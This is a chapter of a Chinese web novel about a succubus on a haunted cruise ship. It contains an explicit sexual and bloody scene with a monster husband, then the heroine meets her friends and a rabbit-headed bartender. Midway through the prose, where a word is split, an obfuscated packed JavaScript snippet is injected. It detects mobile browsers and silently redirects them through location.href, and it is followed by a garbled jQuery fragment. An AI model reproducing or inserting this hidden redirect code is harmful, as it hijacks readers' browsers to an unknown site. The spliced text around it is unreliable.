第 18 章 绿豆冰沙饮
作品:《小魅魔又有什么错呢?》 倾梨趴在他的胸口,无辜地抬头看他。
斐里克特的胸膛被她按住。
呼吸起伏间,倾梨感觉自己柔软的掌心下面,像是按着一颗豆子。
刚刚被她舔舐过的地方。
湿漉漉的。
如果她有吸盘就好了。
那样她绝对也要折腾他一番,让他体验体验那种刺痒难耐的感受。
可惜,她只有一滩流动的幻彩液体,力气也不是很大。
倾梨坐在他的小腹上,低下头眸光含笑地看着他问:“你受不了了吗,宝贝?”
斐里克特神色冷厉。
明明浑身滚烫,却让人感觉他的身上仿佛有寒意缭绕。
“别再挑衅我。”他说。
“啊呀。”倾梨故作惊讶道,“你生气了吗?要让我付出代价吗?”
她主动拉开肩膀上的系带,展露出略显调皮的笑意:“是什么代价呢?有点期待。”
花瓣似的荡领原本就摇摇欲坠,肩头系带解开的瞬间,如同一片坠落的花瓣飘然落下。
斐里克特的目光紧盯着她的脸,没有往下移动半分。
这只怪物……
好像意外的很纯情啊。
倾梨心里下了判断,顿时笑得更加灿烂。
毕竟,虽然身为魅魔,但她也是第一次真正出手。
以前在人类社会,生活压抑,光是活着就已经拼尽全力了。
而且她还没遇到过什么特别优质的食物。
如今暖饱思淫欲。
倾梨真的没什么经验,只能一边回忆自己过去的“积累”,一边在“丈夫”的身上摸索实验。
她低头看着斐里克特的眼睛,丝毫不畏惧地和他目光中的杀意对上。
幻彩液体在身后飘动。
倾梨往前坐了一点,手伸到后面,指尖勾住斐里克特的裤腰。
裤腰被勾起一个三角形的小缝,让她的幻彩液体轻松地流淌进去。
“宝贝。”倾梨好奇问道,“你变出来的那个东西,是虚有其表吗?还是说,有它该有的功能……”
斐里克特突然低低地喘了一声。
幻彩液体互相挤压,发出液体碰撞时的水声。
斐里克特额间渗出汗珠,明
显是忍耐了几秒,才咬牙回答:“你不是已经感觉到了。
“……是的。倾梨讶异道,“我没想到你会变一个这么大的。
她没忍住“哇哦了一声,弯腰向前。
一只手撑在斐里克特的脸侧,另一只手抚摸着他的脸颊。
倾梨低下头亲了亲他高挺的鼻梁,低附在他耳边,语气暧昧地说:“好烫手。
幻彩液体内部,有什么东西跳了一下。
“别,别。倾梨亲了亲他的耳垂,“宝贝,这样就可以了,不要再……
后面的话被隐没在含糊的亲吻声里。
倾梨含住了他的耳垂,轻轻咬了一口。
这次虽然没有想要伤害他,但她的小虎牙太过尖锐,轻易刺破虚弱期的怪物皮肤,让她尝到了蓝色怪物血的味道。
和触手的味道一样,像是清爽好喝的椰汁。
倾梨吮吸着,感觉斐里克特的身体开始颤抖。
幻彩液体移动的速度开始加快,它们不断向内挤压,用力包裹住目标。
某种感受不断堆叠累积。
斐里克特的喘息就在倾梨耳边,带着克制不住的微颤,灼热呼吸不断来回,房间里的温度似乎都因此升高了不少。
“……我再说最后一遍。斐里克特的嗓音也带上微颤,“停下。
倾梨听到这种声音,更加愉悦。
空气中的甜香咸香也在不断累加,愈发浓郁的香味里,她能够感受到对方的遇念正在被一点点堆上顶峰。
幻彩液体打着圈地环绕飞舞。
越来越快。
速度加到极限后,又不知道过去了多久。
就在倾梨已经觉得太累,想要放弃的时候。
斐里克特突然伸手,抓住她的胳膊。
他的手指力道之大,在倾梨手臂上留下一道深深的印痕。倾梨痛呼出声,一口咬住他的肩膀。
虎牙在斐里克特的肩膀上留下两个深深的牙印,像是吸血鬼咬出的血洞。
她一口把斐里克特的肩膀咬的血肉模糊,蓝色的怪物血浸湿床单。
原本她用手指捏住把玩的地方,也不受控制地用力拽了一下,差点给他拽下来。
倾梨没有松口,仍然死死地咬住他的肩
头。
她分出的幻彩液体里,仿佛被注入了一杯滚烫的开水,烫得那部分液体掉落在床单上,有那么几秒钟,甚至失去了和本体之间的联系。
倾梨恍惚间还以为,自己的那部分身体被烫死了。
但很快,她的本体反应过来,开始吸收其中滚烫的部分。
两种液体交融在一起。
刚才获得的那些东西,变成了新的能量。
倾梨这还是第一次发现,自己的本体竟然也有捕食的能力,而且可以捕食的目标是……那个东西。
不是,怪物自己变出来的器官。
也可以有那个功能的吗?!
好神奇!!
……而且,好强大。
因为捕食的时候差点被烫死,倾梨没尝出来有什么味道。再加上她的幻彩液体不是口器,非要说的话更像是皮肤之类的部分,根本没有味蕾。
所以,她只能感受到那是一股十分强大的力量,比她刚才喝到的椰汁蓝血还要浓郁丰厚。
她被这股力量冲击得有些脱力,只能趴在斐里克特身上缓慢地呼吸。
咬住肩膀的力道松开,倾梨随便舔了舔他的伤口,分泌治愈的液体把伤口表面止血,防止好喝的椰汁血被浪费。
“……宝贝。”她抱住斐里克特的腰,枕着他的胸口休息,“你好厉害。”
斐里克特起身,按住倾梨的肩膀,脸色阴沉地将她按在床上。
他身体里的力气正在一点点恢复。
被倾梨下的镇静剂终于失效,斐里克特掐着她的腰,将她重重放在床铺中间。
倾梨枕着枕头,手背有气无力地搭在枕头上,眼神显露出几分茫然。
斐里克特弯腰靠近她,言语之间满是咬牙切齿的意味:“你不该招惹我。”
“为什么?”倾梨问他,“你不舒服吗?”
他肩膀上的伤口正在缓慢恢复,过程中还有蓝色的怪物血滴落下来,有的落在倾梨脸上,有的落在她掌心,让她手指不由瑟缩。
微凉的血液滴答落下,绽开一朵朵蓝色的小花。
斐里克特俯下身,泄愤似的咬住倾梨的唇。
倾梨笑起来,拍了拍他的后背,含糊说:“轻点。”
他根本不听,牙齿厮磨
,像是要把她吃掉。
倾梨抬脚再往那个地方踹过去。
突然发现……它没了。
怎么回事??
他是小猫吗?那个东西还能用的时候就放出来,不用就收起来的吗?!
祂到底是什么怪物!
猫猫章鱼吗!?
倾梨震惊的目光中,斐里克特握住了她的脚。
她的脚丫在他掌心里显得很娇小,斐里克特捏了捏她柔软的脚掌,直接把她的脚举高。
倾梨的腿被整个抬了起来,裙摆层层叠叠,全都堆叠在腰部。
他随手将她的脚放在胸前,让她踩着自己的胸口,高大的身躯靠近,下压过来,锐利眼眸注视着她:“你到底想要什么?
很直白的问题。
倾梨低头向下看去,被斐里克特挡住了眼睛。
“别乱瞟。他压低声音,呼吸就在面前,“说清楚。
倾梨眼前一黑。
索性身上也没什么力气,她干脆不再反抗。
仔细思索片刻,认真回答:“想要怪物对我产生爱情。
爱情,很好吃的东西。
怪物这种能量强大的生物,祂的爱,肯定是绝顶美味。
她什么也看不见,只能听见斐里克特耻笑一声,身体远离。
修长的手指重新握住了她的脚,粗糙的拇指指腹摩擦着脚心,让她忍不住想要缩腿。
紧接着,就听见他淡漠的嗓音。
“像你这么弱小的生物……他说,“承受不住怪物的爱。
倾梨:“谁说的?
她很想说:你不爱一下试试怎么知道。
但斐里克特的语气格外严肃,让她有点开不了口。
似乎,对方是真的把“爱情看得非常重的某种生物。
而不是像她一样,只把情绪作为食物,把爱意当做佳肴。
脚上传来的瘙痒感受让倾梨没办法太过认真的思考,一时间也找不到什么更好的情话来骗人,只好老实说:“不管有多少,我都能承受住。
她会把所有的爱统统吃掉!
斐里克特终于松开了她的脚。
他的身体也不再滚烫,掌心恢复到微凉,似乎正在回到尸体的温度。
斐里克特手心贴着倾梨的小腿肚,一路往下,按住她的腿根。
身躯靠近,彼此紧贴在一起。
他整个压下来,触手卷住倾梨的腿,低声说:“想从我这里得到什么,就需要付出同等的代价。你支付得起吗?”
倾梨抱住他的脑袋。
“当然啦。”这次她不需要再犹豫了,飞快地说,“我最最最爱你。”
甜蜜的情话像是不要钱一样脱口而出……不。
情话本来就不需要钱。
只是无法分清,到底是甜蜜还是谎言。
斐里克特一只手捂着倾梨的眼睛,没办法去看她的眼神。他只能看见倾梨鼻尖,和飞快开合的嘴巴。
没有一丝犹豫,脱口而出,仿佛是心底最真实的想法。
他承认,有那么几秒钟,他想要相信。
斐里克特忽然低头,特别温柔地吻了吻倾梨的嘴角。
“你最好别被我发现。”他说。
发现什么?
发现她在撒谎吗?
可是她说的是真心话诶。
倾梨眨了眨眼睛,纤长睫毛刮过他的掌心。
斐里克特收回了手,轻轻握住她的脚腕放下,又重新揽上她的腰。
他低下头,唇贴了贴她的嘴角,再往她的唇上靠。
这番动作太过温柔,让倾梨忍不住舒服地眯起眼睛。
原本操纵分出来的本体,就是一件很累的事情。刚才更是动的飞快,倾梨已经有点累得抬不动胳膊。
现在被人搂在怀里,特别温柔的贴着唇亲亲。
她终于架不住打鼓的眼皮,缓缓陷入了沉睡当中。
……
醒来时已经是夜晚。
暴风雨仍在继续。看着窗外起伏不定的深暗海面,倾梨一时间都分不清白天黑夜。
她伸了个长长的懒腰,把自己从待机状态中唤醒过来。
可恶!
怎么就累了!
她还没爽到呢!!
作为一只魅魔,倾梨觉得自己的体力真的有待提高了。
她掀开被子从床上下来,才发现自己穿的裙子已经被叠好放在了床边。内衣还穿在身上,外面套着一件格外宽大的咖色衣服。
房间里没有镜子,倾梨
现在一个人,也不能去照镜子。
她只能低头看。
件衣服是棉麻质感,套在身上还算比较舒服,袖子太长了,行动的时候把手完全套住,还长出来一节,跟着胳膊一甩一甩的。
衣服下摆完全能够遮住屁股,还要往下一点,到大腿中间左右的位置。
完全可以当成一条短裙来穿嘛。
倾梨把袖口卷上,没有忙着去穿放在床头的那条裙子。
毕竟是她比较喜欢的裙子,她现在不知道情况,万一遇到什么意外容易把它弄坏。
她让幻彩液体漂浮在周围,悄悄推门出去。
走廊上一片安静。
倾梨往电梯间走着,路上很快有触手从不知道哪个角落冒了出来,小狗似的跟在她身边摇尾巴。
倾梨面带微笑把触手们一一抚摸过去,然后问道:“谁知道我丈夫去哪里啦?”
触手们停顿一秒,然后眼镜蛇一般立着,齐刷刷用“蛇头”指向同一个地方。
“咦?”倾梨惊奇道,“现在你们能感应到上半身的存在了吗?”
触手们又是一个齐刷刷的点头。
是有什么不一样了?
倾梨一边顺着触手的指路往外走,一边思考。
是她的丈夫解除封印,成为了新的船长吗?
倾梨跟着触手的指路乘上电梯,眼看着小触手爬到12那个数字旁边。倾梨想了想说:“不去12层,去餐厅。”
小触手歪了歪触手尖端,勾出一个问号的形状。
倾梨想着,比起先找到自家丈夫,她还是先去找队友了解一下情况。
看看副本现在推进到什么程度,再做定夺。
虽然很想品尝爱情,或者和丈夫继续深入交流,做一下那种爱做的事情——但是,万一副本结束了呢?
她可是听说,所有人在听见【游戏通关】的通知后,三秒钟内,就会自动从这个世界里消失,回到玩家休息区。
她可不想做到一半的时候突然听见那个声音!!
想想都觉得很恐怖。
是会被吓到有心理阴影的程度。
倾梨和小姐妹说好,有什么情报就在餐厅吃饭的时候相互交换。
可她似乎醒得太晚了,晚餐时间都
已经结束。
来到餐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266630|138287||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
厅时,只能看见餐厅地面上一片狼藉,似乎曾经在这里发生过什么战斗。餐厅里的灯黑着,一个穿着白色保洁服,看不清面容的高瘦身影正在打扫卫生。
这身影让倾梨想到了自助餐厅的铁板烧师傅。
肚子咕噜咕噜叫了起来。
一顿不吃饿得慌,她那一番操作,直接睡过去两顿。
倾梨又想吃东西去了。
她先去白晓语住的房间敲了敲门,没多久,房门被拉开一条缝,里面泄露出些许微光。
白晓语偷偷摸摸看她一眼,然后飞快开门,把她拉进房间里,又快速关上。
倾梨被拽得都踉跄了一下,差点脸朝下摔在地毯上。
还好她的小脑很发达,迅速稳住了身子。
白晓语后背抵着门,心脏扑通扑通跳得飞快,胸口随着呼吸剧烈起伏。
她快吓死了。
在逃生游戏里,半夜被什么东西敲门,可不是一件好事。
更何况这个本里有信息表明,晚上打开自己的客房门,一定会遇到恐怖的NPC——
但这点隐患之前被排除过。
因为那个恐怖NPC是保洁。
自从倾梨跟她大早上一起出门逛了一圈以后,保洁阿姨已经不会到她这个区域来了。
唯一的坏处就只是她需要自己打扫房间,明天早上应该也没有人来帮她换床单。
白晓语觉得这点可以接受。
“小梨,你怎么这么晚跑出来。”她惊魂未定地拍了拍胸口,突然想起什么似的,眼神中燃气怒火,“那个怪物欺负你了吗!!?”
倾梨刚刚才站稳,还没来得及反应。
白晓语就三两步冲上来,一边打量着倾梨,一边怒道:“你帮他解除封印稳定地位,他现在成了船长,怎么敢对你不好!”
“没有,没有。”倾梨连忙说,“他对我还挺好的。”
虽然不清楚这个“挺好的”要怎么定义。
但是倾梨担心自己稍微晚回答一秒钟,白晓语就要调出道具卡跑去跟她的丈夫决一死战。
她看起来已经准备好了。
“……别担心,我只是刚睡醒。”倾梨抱住白晓语的胳膊,“来找你一起去吃饭的。”
白晓语下意识想问:他都不给你吃饭吗!?
顿了顿才反应过来,现在是在逃生游戏里面,那个“渣男”是恐怖的副本boss。
没办法,她和现实生活中的一个大学室友是关系特别好的闺蜜。
两人才上大学没多久,那个闺蜜就被渣男骗着出去租房住。
后来每天给他洗衣做饭,还为他花了很多钱,最后才发现渣男竟然已经结婚了。
白晓语提到这种事情就气得半死,恨不能手刃渣男。
她现在想想,如果渣男一起进了这个游戏,她真的会忍不住想要害死他的!
“算了。”白晓语深吸一口气,“你没事就好,是我太紧张了。”
想起现实中的闺蜜,她难免也有些忧愁。
玩家是能够离开游戏回到现实的,只要攒到足够的积分。
她听说高玩当中已经有部分人回过家了。
她也好想回去啊……
好不容易考上的大学呢,不上可惜了。
倾梨安抚性的拍拍她的后背,高兴道:“没关系啦,你是担心我嘛,我懂我懂。”
刚才白晓语身上一下子冒出来好多好多的担心,像是绿豆味的冰沙饮,味道清凉微甜,让刚起床还有点昏昏沉沉的她一下子清醒了不少。
好好喝。
她不介意对方再更担心自己一点。
“走吧。”倾梨拉起白晓语的手,“我们叫上林米一起去餐厅,边吃边说。”
“好!”
两人叫上林米,在游轮的晃动中,悄然来到自助餐厅。
24小时营业的餐厅内灯火通明,只有一个侍应生和吧台那儿的调酒师还在值班。
三人是第一次看见调酒师。
夜晚的游轮太过危险,没有绝对的底牌,没人敢在夜晚出来搜集情报。白晓语和林米自然不敢。
而倾梨,她纯粹是因为一直在睡觉。
铁板烧也还在营业时间,但没有客人,铁板烧师傅就先去休息了。
倾梨跟姐妹们坐下,让侍应生去把师傅叫来上工。
没办法,只有这里有安全的食物。
三人刚坐下没一会儿,倾梨就闻到不远处的吧台后,调酒师身上悠然散发出好闻的酒香。
她被吸引着走上前去。
对方身形高挑,穿着裁剪合体的燕尾服,脖子上不是人类的脑袋,而是一个硕大的兔头。
一只兔耳高高树立,另一只耷拉下来,垂在脸侧。
“你好。”倾梨坐在吧台前的高脚凳上,好奇看着那只大大的兔子脑袋,“有什么推荐的酒吗?”
她想喝点,也想给自家丈夫带回去点。
倾梨还记得自家丈夫需要酒精。
她可真是一个体贴入微的好妻子呀!
兔子脑袋的调酒师原本背对着她,听见声音以后,那个巨大的兔头直接转了一百八十度,猩红的眼睛盯着倾梨。
兔子嘴巴张开,里面全部都是尖刺一般的牙齿,密密麻麻交错排列着。
跟那个矮矮胖胖的铁板烧师傅好像。
倾梨忍不住想:难道这是自助餐厅的特色吗?
“不好意思。”她认真说道,“你不可以这样子扭头的,会吓到别的游客。麻烦您下次整个身体一起转过来,可以吗?”
作为这艘船的“老板娘”,她当然有义务也有权利,管理一下这种行为。
倾梨很有礼貌地说完,似乎是觉得不够威严,干脆又加重语气,严肃地补充:“这是最基本的礼貌。”
兔子调酒师:“……”
沉默两秒,他的身体转了回来,面对倾梨。
一瞬间,自助餐厅内的气氛隐约变得有点不对。
空气仿佛正在晃动,隐约让人感觉空间有所错乱,像是两个完全不同的空间交叠在一起,互相产生了影响。
兔子合上恐怖的嘴巴,从喉咙里发出声音。
“……您…就是…这艘船的……”它机械般的声音充满卡顿,艰难地说完整句话,“船长的,妻子吗?”
作者有话要说
斐里克特:不是说最最爱我吗,怎么睡醒不第一个找我(触手乱爬)(阴暗爬行)(爬来爬去)
感谢在2024-08-1417:54:25~2024-08-1517:56:20期间为我投出霸王票或灌溉营养液的小天使哦~
感谢灌溉营养液的小天使:玛卡巴卡的玛卡布卡10瓶;Anna、叼着奶瓶逛青楼.3瓶;更新了吗、48121382、特别会聊天、江枫渔火1瓶;
非常感谢大家对我的支持,我会继续努力的!

